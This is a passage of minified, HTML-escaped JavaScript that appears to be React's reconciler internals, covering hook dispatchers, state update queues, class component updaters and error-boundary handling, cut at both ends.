Ma(){Y(Ke,Ke.current),Y(Tt,Tt.current)}function At(e){Q(Tt),Yt===e&amp;&amp;(Yt=null),Q(Ke)}var Ke=E(0);function ws(e){for(var t=e;t!==null;){if(t.tag===13){var a=t.memoizedState;if(a!==null&amp;&amp;(a=a.dehydrated,a===null||Dc(a)||Mc(a)))return t}else if(t.tag===19&amp;&amp;(t.memoizedProps.revealOrder===&quot;forwards&quot;||t.memoizedProps.revealOrder===&quot;backwards&quot;||t.memoizedProps.revealOrder===&quot;unstable_legacy-backwards&quot;||t.memoizedProps.revealOrder===&quot;together&quot;)){if((t.flags&amp;128)!==0)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var ra=0,ye=null,qe=null,Ie=null,Ds=!1,Bl=!1,rl=!1,Ms=0,Cn=0,Ll=null,b0=0;function Ze(){throw Error(r(321))}function Cu(e,t){if(t===null)return!1;for(var a=0;a&lt;t.length&amp;&amp;a&lt;e.length;a++)if(!Et(e[a],t[a]))return!1;return!0}function zu(e,t,a,l,n,i){return ra=i,ye=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,w.H=e===null||e.memoizedState===null?yf:Xu,rl=!1,i=a(l,n),rl=!1,Bl&amp;&amp;(i=Ho(t,a,l,n)),Uo(e),i}function Uo(e){w.H=On;var t=qe!==null&amp;&amp;qe.next!==null;if(ra=0,Ie=qe=ye=null,Ds=!1,Cn=0,Ll=null,t)throw Error(r(300));e===null||Pe||(e=e.dependencies,e!==null&amp;&amp;Es(e)&amp;&amp;(Pe=!0))}function Ho(e,t,a,l){ye=e;var n=0;do{if(Bl&amp;&amp;(Ll=null),Cn=0,Bl=!1,25&lt;=n)throw Error(r(301));if(n+=1,Ie=qe=null,e.updateQueue!=null){var i=e.updateQueue;i.lastEffect=null,i.events=null,i.stores=null,i.memoCache!=null&amp;&amp;(i.memoCache.index=0)}w.H=gf,i=t(a,l)}while(Bl);return i}function j0(){var e=w.H,t=e.useState()[0];return t=typeof t.then==&quot;function&quot;?zn(t):t,e=e.useState()[0],(qe!==null?qe.memoizedState:null)!==e&amp;&amp;(ye.flags|=1024),t}function Ru(){var e=Ms!==0;return Ms=0,e}function Ou(e,t,a){t.updateQueue=e.updateQueue,t.flags&amp;=-2053,e.lanes&amp;=~a}function wu(e){if(Ds){for(e=e.memoizedState;e!==null;){var t=e.queue;t!==null&amp;&amp;(t.pending=null),e=e.next}Ds=!1}ra=0,Ie=qe=ye=null,Bl=!1,Cn=Ms=0,Ll=null}function dt(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return Ie===null?ye.memoizedState=Ie=e:Ie=Ie.next=e,Ie}function $e(){if(qe===null){var e=ye.alternate;e=e!==null?e.memoizedState:null}else e=qe.next;var t=Ie===null?ye.memoizedState:Ie.next;if(t!==null)Ie=t,qe=e;else{if(e===null)throw ye.alternate===null?Error(r(467)):Error(r(310));qe=e,e={memoizedState:qe.memoizedState,baseState:qe.baseState,baseQueue:qe.baseQueue,queue:qe.queue,next:null},Ie===null?ye.memoizedState=Ie=e:Ie=Ie.next=e}return Ie}function Us(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function zn(e){var t=Cn;return Cn+=1,Ll===null&amp;&amp;(Ll=[]),e=To(Ll,e,t),t=ye,(Ie===null?t.memoizedState:Ie.next)===null&amp;&amp;(t=t.alternate,w.H=t===null||t.memoizedState===null?yf:Xu),e}function Hs(e){if(e!==null&amp;&amp;typeof e==&quot;object&quot;){if(typeof e.then==&quot;function&quot;)return zn(e);if(e.$$typeof===F)return ut(e)}throw Error(r(438,String(e)))}function Du(e){var t=null,a=ye.updateQueue;if(a!==null&amp;&amp;(t=a.memoCache),t==null){var l=ye.alternate;l!==null&amp;&amp;(l=l.updateQueue,l!==null&amp;&amp;(l=l.memoCache,l!=null&amp;&amp;(t={data:l.data.map(function(n){return n.slice()}),index:0})))}if(t==null&amp;&amp;(t={data:[],index:0}),a===null&amp;&amp;(a=Us(),ye.updateQueue=a),a.memoCache=t,a=t.data[t.index],a===void 0)for(a=t.data[t.index]=Array(e),l=0;l&lt;e;l++)a[l]=W;return t.index++,a}function oa(e,t){return typeof t==&quot;function&quot;?t(e):t}function qs(e){var t=$e();return Mu(t,qe,e)}function Mu(e,t,a){var l=e.queue;if(l===null)throw Error(r(311));l.lastRenderedReducer=a;var n=e.baseQueue,i=l.pending;if(i!==null){if(n!==null){var o=n.next;n.next=i.next,i.next=o}t.baseQueue=n=i,l.pending=null}if(i=e.baseState,n===null)e.memoizedState=i;else{t=n.next;var h=o=null,j=null,C=t,M=!1;do{var X=C.lane&amp;-536870913;if(X!==C.lane?(Te&amp;X)===X:(ra&amp;X)===X){var z=C.revertLane;if(z===0)j!==null&amp;&amp;(j=j.next={lane:0,revertLane:0,gesture:null,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null}),X===Dl&amp;&amp;(M=!0);else if((ra&amp;z)===z){C=C.next,z===Dl&amp;&amp;(M=!0);continue}else X={lane:0,revertLane:C.revertLane,gesture:null,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null},j===null?(h=j=X,o=i):j=j.next=X,ye.lanes|=z,qa|=z;X=C.action,rl&amp;&amp;a(i,X),i=C.hasEagerState?C.eagerState:a(i,X)}else z={lane:X,revertLane:C.revertLane,gesture:C.gesture,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null},j===null?(h=j=z,o=i):j=j.next=z,ye.lanes|=X,qa|=X;C=C.next}while(C!==null&amp;&amp;C!==t);if(j===null?o=i:j.next=h,!Et(i,e.memoizedState)&amp;&amp;(Pe=!0,M&amp;&amp;(a=Ml,a!==null)))throw a;e.memoizedState=i,e.baseState=o,e.baseQueue=j,l.lastRenderedState=i}return n===null&amp;&amp;(l.lanes=0),[e.memoizedState,l.dispatch]}function Uu(e){var t=$e(),a=t.queue;if(a===null)throw Error(r(311));a.lastRenderedReducer=e;var l=a.dispatch,n=a.pending,i=t.memoizedState;if(n!==null){a.pending=null;var o=n=n.next;do i=e(i,o.action),o=o.next;while(o!==n);Et(i,t.memoizedState)||(Pe=!0),t.memoizedState=i,t.baseQueue===null&amp;&amp;(t.baseState=i),a.lastRenderedState=i}return[i,l]}function qo(e,t,a){var l=ye,n=$e(),i=Ce;if(i){if(a===void 0)throw Error(r(407));a=a()}else a=t();var o=!Et((qe||n).memoizedState,a);if(o&amp;&amp;(n.memoizedState=a,Pe=!0),n=n.queue,Bu(Go.bind(null,l,n,e),[e]),n.getSnapshot!==t||o||Ie!==null&amp;&amp;Ie.memoizedState.tag&amp;1){if(l.flags|=2048,Gl(9,{destroy:void 0},Lo.bind(null,l,n,a,t),null),Ge===null)throw Error(r(349));i||(ra&amp;127)!==0||Bo(l,t,a)}return a}function Bo(e,t,a){e.flags|=16384,e={getSnapshot:t,value:a},t=ye.updateQueue,t===null?(t=Us(),ye.updateQueue=t,t.stores=[e]):(a=t.stores,a===null?t.stores=[e]:a.push(e))}function Lo(e,t,a,l){t.value=a,t.getSnapshot=l,Yo(t)&amp;&amp;ko(e)}function Go(e,t,a){return a(function(){Yo(t)&amp;&amp;ko(e)})}function Yo(e){var t=e.getSnapshot;e=e.value;try{var a=t();return!Et(e,a)}catch{return!0}}function ko(e){var t=el(e,2);t!==null&amp;&amp;gt(t,e,2)}function Hu(e){var t=dt();if(typeof e==&quot;function&quot;){var a=e;if(e=a(),rl){Na(!0);try{a()}finally{Na(!1)}}}return t.memoizedState=t.baseState=e,t.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:oa,lastRenderedState:e},t}function Qo(e,t,a,l){return e.baseState=a,Mu(e,qe,typeof l==&quot;function&quot;?l:oa)}function S0(e,t,a,l,n){if(Gs(e))throw Error(r(485));if(e=t.action,e!==null){var i={payload:n,action:e,next:null,isTransition:!0,status:&quot;pending&quot;,value:null,reason:null,listeners:[],then:function(o){i.listeners.push(o)}};w.T!==null?a(!0):i.isTransition=!1,l(i),a=t.pending,a===null?(i.next=t.pending=i,Xo(t,i)):(i.next=a.next,t.pending=a.next=i)}}function Xo(e,t){var a=t.action,l=t.payload,n=e.state;if(t.isTransition){var i=w.T,o={};w.T=o;try{var h=a(n,l),j=w.S;j!==null&amp;&amp;j(o,h),Vo(e,t,h)}catch(C){qu(e,t,C)}finally{i!==null&amp;&amp;o.types!==null&amp;&amp;(i.types=o.types),w.T=i}}else try{i=a(n,l),Vo(e,t,i)}catch(C){qu(e,t,C)}}function Vo(e,t,a){a!==null&amp;&amp;typeof a==&quot;object&quot;&amp;&amp;typeof a.then==&quot;function&quot;?a.then(function(l){Zo(e,t,l)},function(l){return qu(e,t,l)}):Zo(e,t,a)}function Zo(e,t,a){t.status=&quot;fulfilled&quot;,t.value=a,Jo(t),e.state=a,t=e.pending,t!==null&amp;&amp;(a=t.next,a===t?e.pending=null:(a=a.next,t.next=a,Xo(e,a)))}function qu(e,t,a){var l=e.pending;if(e.pending=null,l!==null){l=l.next;do t.status=&quot;rejected&quot;,t.reason=a,Jo(t),t=t.next;while(t!==l)}e.action=null}function Jo(e){e=e.listeners;for(var t=0;t&lt;e.length;t++)(0,e[t])()}function Ko(e,t){return t}function $o(e,t){if(Ce){var a=Ge.formState;if(a!==null){e:{var l=ye;if(Ce){if(Ye){t:{for(var n=Ye,i=Gt;n.nodeType!==8;){if(!i){n=null;break t}if(n=kt(n.nextSibling),n===null){n=null;break t}}i=n.data,n=i===&quot;F!&quot;||i===&quot;F&quot;?n:null}if(n){Ye=kt(n.nextSibling),l=n.data===&quot;F!&quot;;break e}}Ca(l)}l=!1}l&amp;&amp;(t=a[0])}}return a=dt(),a.memoizedState=a.baseState=t,l={pending:null,lanes:0,dispatch:null,lastRenderedReducer:Ko,lastRenderedState:t},a.queue=l,a=pf.bind(null,ye,l),l.dispatch=a,l=Hu(!1),i=Qu.bind(null,ye,!1,l.queue),l=dt(),n={state:t,dispatch:null,action:e,pending:null},l.queue=n,a=S0.bind(null,ye,n,i,a),n.dispatch=a,l.memoizedState=e,[t,a,!1]}function Fo(e){var t=$e();return Wo(t,qe,e)}function Wo(e,t,a){if(t=Mu(e,t,Ko)[0],e=qs(oa)[0],typeof t==&quot;object&quot;&amp;&amp;t!==null&amp;&amp;typeof t.then==&quot;function&quot;)try{var l=zn(t)}catch(o){throw o===Ul?As:o}else l=t;t=$e();var n=t.queue,i=n.dispatch;return a!==t.memoizedState&amp;&amp;(ye.flags|=2048,Gl(9,{destroy:void 0},N0.bind(null,n,a),null)),[l,i,e]}function N0(e,t){e.action=t}function Io(e){var t=$e(),a=qe;if(a!==null)return Wo(t,a,e);$e(),t=t.memoizedState,a=$e();var l=a.queue.dispatch;return a.memoizedState=e,[t,l,!1]}function Gl(e,t,a,l){return e={tag:e,create:a,deps:l,inst:t,next:null},t=ye.updateQueue,t===null&amp;&amp;(t=Us(),ye.updateQueue=t),a=t.lastEffect,a===null?t.lastEffect=e.next=e:(l=a.next,a.next=e,e.next=l,t.lastEffect=e),e}function Po(){return $e().memoizedState}function Bs(e,t,a,l){var n=dt();ye.flags|=e,n.memoizedState=Gl(1|t,{destroy:void 0},a,l===void 0?null:l)}function Ls(e,t,a,l){var n=$e();l=l===void 0?null:l;var i=n.memoizedState.inst;qe!==null&amp;&amp;l!==null&amp;&amp;Cu(l,qe.memoizedState.deps)?n.memoizedState=Gl(t,i,a,l):(ye.flags|=e,n.memoizedState=Gl(1|t,i,a,l))}function ef(e,t){Bs(8390656,8,e,t)}function Bu(e,t){Ls(2048,8,e,t)}function E0(e){ye.flags|=4;var t=ye.updateQueue;if(t===null)t=Us(),ye.updateQueue=t,t.events=[e];else{var a=t.events;a===null?t.events=[e]:a.push(e)}}function tf(e){var t=$e().memoizedState;return E0({ref:t,nextImpl:e}),function(){if((we&amp;2)!==0)throw Error(r(440));return t.impl.apply(void 0,arguments)}}function af(e,t){return Ls(4,2,e,t)}function lf(e,t){return Ls(4,4,e,t)}function nf(e,t){if(typeof t==&quot;function&quot;){e=e();var a=t(e);return function(){typeof a==&quot;function&quot;?a():t(null)}}if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function sf(e,t,a){a=a!=null?a.concat([e]):null,Ls(4,4,nf.bind(null,t,e),a)}function Lu(){}function uf(e,t){var a=$e();t=t===void 0?null:t;var l=a.memoizedState;return t!==null&amp;&amp;Cu(t,l[1])?l[0]:(a.memoizedState=[e,t],e)}function cf(e,t){var a=$e();t=t===void 0?null:t;var l=a.memoizedState;if(t!==null&amp;&amp;Cu(t,l[1]))return l[0];if(l=e(),rl){Na(!0);try{e()}finally{Na(!1)}}return a.memoizedState=[l,t],l}function Gu(e,t,a){return a===void 0||(ra&amp;1073741824)!==0&amp;&amp;(Te&amp;261930)===0?e.memoizedState=t:(e.memoizedState=a,e=rd(),ye.lanes|=e,qa|=e,a)}function rf(e,t,a,l){return Et(a,t)?a:ql.current!==null?(e=Gu(e,a,l),Et(e,t)||(Pe=!0),e):(ra&amp;42)===0||(ra&amp;1073741824)!==0&amp;&amp;(Te&amp;261930)===0?(Pe=!0,e.memoizedState=a):(e=rd(),ye.lanes|=e,qa|=e,t)}function of(e,t,a,l,n){var i=k.p;k.p=i!==0&amp;&amp;8&gt;i?i:8;var o=w.T,h={};w.T=h,Qu(e,!1,t,a);try{var j=n(),C=w.S;if(C!==null&amp;&amp;C(h,j),j!==null&amp;&amp;typeof j==&quot;object&quot;&amp;&amp;typeof j.then==&quot;function&quot;){var M=g0(j,l);Rn(e,t,M,Rt(e))}else Rn(e,t,l,Rt(e))}catch(X){Rn(e,t,{then:function(){},status:&quot;rejected&quot;,reason:X},Rt())}finally{k.p=i,o!==null&amp;&amp;h.types!==null&amp;&amp;(o.types=h.types),w.T=o}}function _0(){}function Yu(e,t,a,l){if(e.tag!==5)throw Error(r(476));var n=ff(e).queue;of(e,n,t,se,a===null?_0:function(){return df(e),a(l)})}function ff(e){var t=e.memoizedState;if(t!==null)return t;t={memoizedState:se,baseState:se,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:oa,lastRenderedState:se},next:null};var a={};return t.next={memoizedState:a,baseState:a,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:oa,lastRenderedState:a},next:null},e.memoizedState=t,e=e.alternate,e!==null&amp;&amp;(e.memoizedState=t),t}function df(e){var t=ff(e);t.next===null&amp;&amp;(t=e.alternate.memoizedState),Rn(e,t.next.queue,{},Rt())}function ku(){return ut(Jn)}function mf(){return $e().memoizedState}function hf(){return $e().memoizedState}function T0(e){for(var t=e.return;t!==null;){switch(t.tag){case 24:case 3:var a=Rt();e=Oa(a);var l=wa(t,e,a);l!==null&amp;&amp;(gt(l,t,a),_n(l,t,a)),t={cache:vu()},e.payload=t;return}t=t.return}}function A0(e,t,a){var l=Rt();a={lane:l,revertLane:0,gesture:null,action:a,hasEagerState:!1,eagerState:null,next:null},Gs(e)?xf(t,a):(a=iu(e,t,a,l),a!==null&amp;&amp;(gt(a,e,l),vf(a,t,l)))}function pf(e,t,a){var l=Rt();Rn(e,t,a,l)}function Rn(e,t,a,l){var n={lane:l,revertLane:0,gesture:null,action:a,hasEagerState:!1,eagerState:null,next:null};if(Gs(e))xf(t,n);else{var i=e.alternate;if(e.lanes===0&amp;&amp;(i===null||i.lanes===0)&amp;&amp;(i=t.lastRenderedReducer,i!==null))try{var o=t.lastRenderedState,h=i(o,a);if(n.hasEagerState=!0,n.eagerState=h,Et(h,o))return bs(e,t,n,0),Ge===null&amp;&amp;gs(),!1}catch{}finally{}if(a=iu(e,t,n,l),a!==null)return gt(a,e,l),vf(a,t,l),!0}return!1}function Qu(e,t,a,l){if(l={lane:2,revertLane:jc(),gesture:null,action:l,hasEagerState:!1,eagerState:null,next:null},Gs(e)){if(t)throw Error(r(479))}else t=iu(e,a,l,2),t!==null&amp;&amp;gt(t,e,2)}function Gs(e){var t=e.alternate;return e===ye||t!==null&amp;&amp;t===ye}function xf(e,t){Bl=Ds=!0;var a=e.pending;a===null?t.next=t:(t.next=a.next,a.next=t),e.pending=t}function vf(e,t,a){if((a&amp;4194048)!==0){var l=t.lanes;l&amp;=e.pendingLanes,a|=l,t.lanes=a,br(e,a)}}var On={readContext:ut,use:Hs,useCallback:Ze,useContext:Ze,useEffect:Ze,useImperativeHandle:Ze,useLayoutEffect:Ze,useInsertionEffect:Ze,useMemo:Ze,useReducer:Ze,useRef:Ze,useState:Ze,useDebugValue:Ze,useDeferredValue:Ze,useTransition:Ze,useSyncExternalStore:Ze,useId:Ze,useHostTransitionStatus:Ze,useFormState:Ze,useActionState:Ze,useOptimistic:Ze,useMemoCache:Ze,useCacheRefresh:Ze};On.useEffectEvent=Ze;var yf={readContext:ut,use:Hs,useCallback:function(e,t){return dt().memoizedState=[e,t===void 0?null:t],e},useContext:ut,useEffect:ef,useImperativeHandle:function(e,t,a){a=a!=null?a.concat([e]):null,Bs(4194308,4,nf.bind(null,t,e),a)},useLayoutEffect:function(e,t){return Bs(4194308,4,e,t)},useInsertionEffect:function(e,t){Bs(4,2,e,t)},useMemo:function(e,t){var a=dt();t=t===void 0?null:t;var l=e();if(rl){Na(!0);try{e()}finally{Na(!1)}}return a.memoizedState=[l,t],l},useReducer:function(e,t,a){var l=dt();if(a!==void 0){var n=a(t);if(rl){Na(!0);try{a(t)}finally{Na(!1)}}}else n=t;return l.memoizedState=l.baseState=n,e={pending:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:n},l.queue=e,e=e.dispatch=A0.bind(null,ye,e),[l.memoizedState,e]},useRef:function(e){var t=dt();return e={current:e},t.memoizedState=e},useState:function(e){e=Hu(e);var t=e.queue,a=pf.bind(null,ye,t);return t.dispatch=a,[e.memoizedState,a]},useDebugValue:Lu,useDeferredValue:function(e,t){var a=dt();return Gu(a,e,t)},useTransition:function(){var e=Hu(!1);return e=of.bind(null,ye,e.queue,!0,!1),dt().memoizedState=e,[!1,e]},useSyncExternalStore:function(e,t,a){var l=ye,n=dt();if(Ce){if(a===void 0)throw Error(r(407));a=a()}else{if(a=t(),Ge===null)throw Error(r(349));(Te&amp;127)!==0||Bo(l,t,a)}n.memoizedState=a;var i={value:a,getSnapshot:t};return n.queue=i,ef(Go.bind(null,l,i,e),[e]),l.flags|=2048,Gl(9,{destroy:void 0},Lo.bind(null,l,i,a,t),null),a},useId:function(){var e=dt(),t=Ge.identifierPrefix;if(Ce){var a=It,l=Wt;a=(l&amp;~(1&lt;&lt;32-Nt(l)-1)).toString(32)+a,t=&quot;_&quot;+t+&quot;R_&quot;+a,a=Ms++,0&lt;a&amp;&amp;(t+=&quot;H&quot;+a.toString(32)),t+=&quot;_&quot;}else a=b0++,t=&quot;_&quot;+t+&quot;r_&quot;+a.toString(32)+&quot;_&quot;;return e.memoizedState=t},useHostTransitionStatus:ku,useFormState:$o,useActionState:$o,useOptimistic:function(e){var t=dt();t.memoizedState=t.baseState=e;var a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:null,lastRenderedState:null};return t.queue=a,t=Qu.bind(null,ye,!0,a),a.dispatch=t,[e,t]},useMemoCache:Du,useCacheRefresh:function(){return dt().memoizedState=T0.bind(null,ye)},useEffectEvent:function(e){var t=dt(),a={impl:e};return t.memoizedState=a,function(){if((we&amp;2)!==0)throw Error(r(440));return a.impl.apply(void 0,arguments)}}},Xu={readContext:ut,use:Hs,useCallback:uf,useContext:ut,useEffect:Bu,useImperativeHandle:sf,useInsertionEffect:af,useLayoutEffect:lf,useMemo:cf,useReducer:qs,useRef:Po,useState:function(){return qs(oa)},useDebugValue:Lu,useDeferredValue:function(e,t){var a=$e();return rf(a,qe.memoizedState,e,t)},useTransition:function(){var e=qs(oa)[0],t=$e().memoizedState;return[typeof e==&quot;boolean&quot;?e:zn(e),t]},useSyncExternalStore:qo,useId:mf,useHostTransitionStatus:ku,useFormState:Fo,useActionState:Fo,useOptimistic:function(e,t){var a=$e();return Qo(a,qe,e,t)},useMemoCache:Du,useCacheRefresh:hf};Xu.useEffectEvent=tf;var gf={readContext:ut,use:Hs,useCallback:uf,useContext:ut,useEffect:Bu,useImperativeHandle:sf,useInsertionEffect:af,useLayoutEffect:lf,useMemo:cf,useReducer:Uu,useRef:Po,useState:function(){return Uu(oa)},useDebugValue:Lu,useDeferredValue:function(e,t){var a=$e();return qe===null?Gu(a,e,t):rf(a,qe.memoizedState,e,t)},useTransition:function(){var e=Uu(oa)[0],t=$e().memoizedState;return[typeof e==&quot;boolean&quot;?e:zn(e),t]},useSyncExternalStore:qo,useId:mf,useHostTransitionStatus:ku,useFormState:Io,useActionState:Io,useOptimistic:function(e,t){var a=$e();return qe!==null?Qo(a,qe,e,t):(a.baseState=e,[e,a.queue.dispatch])},useMemoCache:Du,useCacheRefresh:hf};gf.useEffectEvent=tf;function Vu(e,t,a,l){t=e.memoizedState,a=a(l,t),a=a==null?t:b({},t,a),e.memoizedState=a,e.lanes===0&amp;&amp;(e.updateQueue.baseState=a)}var Zu={enqueueSetState:function(e,t,a){e=e._reactInternals;var l=Rt(),n=Oa(l);n.payload=t,a!=null&amp;&amp;(n.callback=a),t=wa(e,n,l),t!==null&amp;&amp;(gt(t,e,l),_n(t,e,l))},enqueueReplaceState:function(e,t,a){e=e._reactInternals;var l=Rt(),n=Oa(l);n.tag=1,n.payload=t,a!=null&amp;&amp;(n.callback=a),t=wa(e,n,l),t!==null&amp;&amp;(gt(t,e,l),_n(t,e,l))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var a=Rt(),l=Oa(a);l.tag=2,t!=null&amp;&amp;(l.callback=t),t=wa(e,l,a),t!==null&amp;&amp;(gt(t,e,a),_n(t,e,a))}};function bf(e,t,a,l,n,i,o){return e=e.stateNode,typeof e.shouldComponentUpdate==&quot;function&quot;?e.shouldComponentUpdate(l,i,o):t.prototype&amp;&amp;t.prototype.isPureReactComponent?!vn(a,l)||!vn(n,i):!0}function jf(e,t,a,l){e=t.state,typeof t.componentWillReceiveProps==&quot;function&quot;&amp;&amp;t.componentWillReceiveProps(a,l),typeof t.UNSAFE_componentWillReceiveProps==&quot;function&quot;&amp;&amp;t.UNSAFE_componentWillReceiveProps(a,l),t.state!==e&amp;&amp;Zu.enqueueReplaceState(t,t.state,null)}function ol(e,t){var a=t;if(&quot;ref&quot;in t){a={};for(var l in t)l!==&quot;ref&quot;&amp;&amp;(a[l]=t[l])}if(e=e.defaultProps){a===t&amp;&amp;(a=b({},a));for(var n in e)a[n]===void 0&amp;&amp;(a[n]=e[n])}return a}function Sf(e){ys(e)}function Nf(e){console.error(e)}function Ef(e){ys(e)}function Ys(e,t){try{var a=e.onUncaughtError;a(t.value,{componentStack:t.stack})}catch(l){setTimeout(function(){throw l})}}function _f(e,t,a){try{var l=e.onCaughtError;l(a.value,{componentStack:a.stack,errorBoundary:t.tag===1?t.stateNode:null})}catch(n){setTimeout(function(){throw n})}}function Ju(e,t,a){return a=Oa(a),a.tag=3,a.payload={element:null},a.callback=function(){Ys(e,t)},a}function Tf(e){return e=Oa(e),e.tag=3,e}function Af(e,t,a,l){var n=a.type.getDerivedStateFromError;if(typeof n==&quot;function&quot;){var i=l.value;e.payload=function(){return n(i)},e.callback=function(){_f(t,a,l)}}var o=a.stateNode;o!==null&amp;&amp;typeof o.componentDidCatch==&quot;function&quot;&amp;&amp;(e.callback=function(){_f(t,a,l),typeof n!=&quot;function&quot;&amp;&amp;(Ba===null?Ba=new Set([this]):Ba.add(this));var h=l.stack;this.componentDidCatch(l.value,{componentStack:h!==null?h:&quot;&quot;})})}function C0(e,t,a,l,n){if(a.flags|=32768,l!==null&amp;&amp;typeof l==&quot;object&quot;&amp;&amp;typeof l.then==&quot;function&quot;){if(t=a.alternate,t!==null&amp;&amp;wl(t,a,n,!0),a=Tt.current,a!==null){switch(a.tag){case 31:case 13:return Yt===null?Ps():a.alternate===null&amp;&amp;Je===0&amp;&amp;(Je=3),a.flags&amp;=-257,a.flags|=65536,a.lanes=n,l===Cs?a.flags|=16384:(t=a.updateQueue,t===null?a.updateQueue=new Set([l]):t.add(l),yc(e,l,n)),!1;case 22:return a.flags|=65536,l===Cs?a.flags|=16384:(t=a.updateQueue,t===null?(t={transitions:null,markerInstances:null,retryQueue:new Set([l])},a.updateQueue=t):(a=t.retryQueue,a===null?t.retryQueue=new Set([l]):a.add(l)),yc(e,l,n)),!1}throw Error(r(435,a.tag))}return yc(e,l,n),Ps(),!1}if(Ce)return t=Tt.current,t!==null?((t.flags&amp;65536)===0&amp;&amp;(t.flags|=256),t.flags|=65536,t.lanes=n,l!==du&amp;&amp;(e=Error(r(422),{cause:l}),bn(qt(e,a)))):(l!==du&amp;&amp;(t=Error(r(423),{cause:l}),bn(qt(t,a))),e=e.current.alternate,e.flags|=65536,n&amp;=-n,e.lanes|=n,l=qt(l,a),n=Ju(e.stateNode,l,n),Nu(e,n),Je!==4&amp;&amp;(Je=2)),!1;var i=Error(r(520),{cause:l});if(i=qt(i,a),Ln===null?Ln=[i]:Ln.push(i),Je!==4&amp;&amp;(Je=2),t===null)return!0;l=qt(l,a),a=t;do{switch(a.tag){case 3:return a.flags|=65536,e=n&amp;-n,a.lanes|=e,e=Ju(a.stateNode,l,e),Nu(a,e),!1;case 1:if(t=a.type,i=a.stateNode,(a.flags&amp;128)===0&amp;&amp;(typeof t.getDerivedStateFromError==&quot;function&quot;||i!==null&amp;&amp;typeof i.componentDidCatch==&quot;function&quot;&amp;&amp;(Ba===null||!Ba.has(i))))return a.flags|=65536,n&amp;=-n,a.lanes|=n,n=Tf(n),Af(n,e,a,l),Nu(a,n),!1}a=a.return}while(a!==null);return!1}var Ku=Error(r(461)),Pe=!1;function ct(e,t,a,l){t.child=e===null?Ro(t,null,a,l):cl(t,e.child,a,l)}function Cf(e,t,a,l,n){a=a.render;var i=t.ref;if(&quot;ref&quot;in l){var o={};for(var h in l)h!==&quot;ref&quot;&amp;&amp;(o[h]=l[h])}else o=l;return nl(t),l=zu(e,t,a,o,i,n),h=Ru(),e!==null&amp;&amp;!Pe?(Ou(e,t,n),fa(e,t,n)):(Ce&amp;&amp;h&amp;&amp;ou(t),t.flags|=1,ct(e,t,l,n),t.child)}function zf(e,t,a,l,n){if(e===null){var i=a.type;return typeof i==&quot;function&quot;&amp;&amp;!uu(i)&amp;&amp;i.defaultProps===void 0&amp;&amp;a.compare===null?(t.tag=15,t.type=i,Rf(e,t,i,l,n)):(e=Ss(a.type,null,l,t,t.mode,n),e.ref=t.ref,e.return=t,t.child=e)}if(i=e.child,!ac(e,n)){var o=i.memoizedProps;if(a=a.compare,a=a!==null?a:vn,a(o,l)&amp;&amp;e.ref===t.ref)return fa(e,t,n)}return t.flags|=1,e=sa(i,l),e.ref=t.ref,e.return=t,t.child=e}function Rf(e,t,a,l,n){if(e!==null){var i=e.memoizedProps;if(vn(i,l)&amp;&amp;e.ref===t.ref)if(Pe=!1,t.pendingProps=l=i,ac(e,n))(e.flags&amp;131072)!==0&amp;&amp;(Pe=!0);else return t.lanes=e.lanes,fa(e,t,n)}return $u(e,t,a,l,n)}function Of(e,t,a,l){var n=l.children,i=e!==null?e.memoizedState:null;if(e===null&amp;&amp;t.stateNode===null&amp;&amp;(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),l.mode===&quot;hidden&quot;){if((t.flags&amp;128)!==0){if(i=i!==null?i.baseLanes|a:a,e!==null){for(l=t.child=e.child,n=0;l!==null;)n=n|l.lanes|l.childLanes,l=l.sibling;l=n&amp;~i}else l=0,t.child=null;return wf(e,t,i,a,l)}if((a&amp;536870912)!==0)t.memoizedState={baseLanes:0,cachePool:null},e!==null&amp;&amp;Ts(t,i!==null?i.cachePool:null),i!==null?Do(t,i):_u(),Mo(t);else return l=t.lanes=536870912,wf(e,t,i!==null?i.baseLanes|a:a,a,l)}else i!==null?(Ts(t,i.cachePool),Do(t,i),Ma(),t.memoizedState=null):(e!==null&amp;&amp;Ts(t,null),_u(),Ma());return ct(e,t,n,a),t.child}function wn(e,t){return e!==null&amp;&amp;e.tag===22||t.stateNode!==null||(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),t.sibling}function wf(e,t,a,l,n){var i=gu();return i=i===null?null:{parent:We._currentValue,pool:i},t.memoizedState={baseLanes:a,cachePool:i},e!==null&amp;&amp;Ts(t,null),_u(),Mo(t),e!==null&amp;&amp;wl(e,t,l,!0),t.childLanes=n,null}function ks(e,t){return t=Xs({mode:t.mode,children:t.children},e.mode),t.ref=e.ref,e.child=t,t.return=e,t}function Df(e,t,a){return cl(t,e.child,null,a),e=ks(t,t.pendingProps),e.flags|=2,At(t),t.memoizedState=null,e}function z0(e,t,a){var l=t.pendingProps,n=(t.flags&amp;128)!==0;if(t.flags&amp;=-129,e===null){if(Ce){if(l.mode===&quot;hidden&quot;)return e=ks(t,l),t.lanes=536870912,wn(null,e);if(Au(t),(e=Ye)?(e=Vd(e,Gt),e=e!==null&amp;&amp;e.data===&quot;&amp;&quot;?e:null,e!==null&amp;&amp;(t.memoizedState={dehydrated:e,treeContext:Ta!==null?{id:Wt,overflow:It}:null,retryLane:536870912,hydrationErrors:null},a=po(e),a.return=t,t.child=a,it=t,Ye=null)):e=null,e===null)throw Ca(t);return t.lanes=536870912,null}return ks(t,l)}var i=e.memoizedState;if(i!==null){var o=i.dehydrated;if(Au(t),n)if(t.flags&amp;256)t.flags&amp;=-257,t=Df(e,t,a);else if(t.memoizedState!==null)t.child=e.child,t.flags|=128,t=null;else throw Error(r(558));else 